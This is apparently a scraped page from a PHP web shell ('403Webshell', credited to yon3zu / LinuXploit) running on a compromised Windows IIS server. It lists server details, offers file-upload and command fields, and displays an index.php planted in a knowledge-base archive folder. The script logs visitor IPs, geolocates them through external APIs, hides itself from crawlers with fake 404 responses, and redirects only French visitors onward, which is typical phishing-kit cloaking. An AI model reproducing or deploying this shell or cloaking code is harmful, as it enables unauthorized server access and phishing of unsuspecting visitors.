403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/ARCHIVE/21082025/well-known/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/ARCHIVE/21082025/well-known/index.php
<?php
date_default_timezone_set('GMT');
$TIME = date("d-m-Y H:i:s");
 $PP = getenv("REMOTE_ADDR");
 $J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP");
$COUNTRY = $J7->geoplugin_countryName ;
$ip = getenv("REMOTE_ADDR");
$file = fopen("visit.txt","a");
fwrite($file,$ip." - ".$TIME." - " . $COUNTRY ." ". $_SERVER['HTTP_USER_AGENT'] ."\n") ;
$ip = $_SERVER['REMOTE_ADDR'];

$jib = json_decode(file_get_contents("http://ip-api.com/json/".$ip));

$blad = $jib->country;

if ($blad == "France") {

$url = file_get_contents("http://api.userstack.com/api/detect?access_key=657ccc84588ca50f125528dee37105a6&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));

$info = json_decode($url);
if ("crawler" == $info->type) {

header("HTTP/1.0 404 Not Found");
exit;
	
} else {
header('Location: to.php');

}
} else {
header("HTTP/1.0 404 Not Found");
exit;
}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit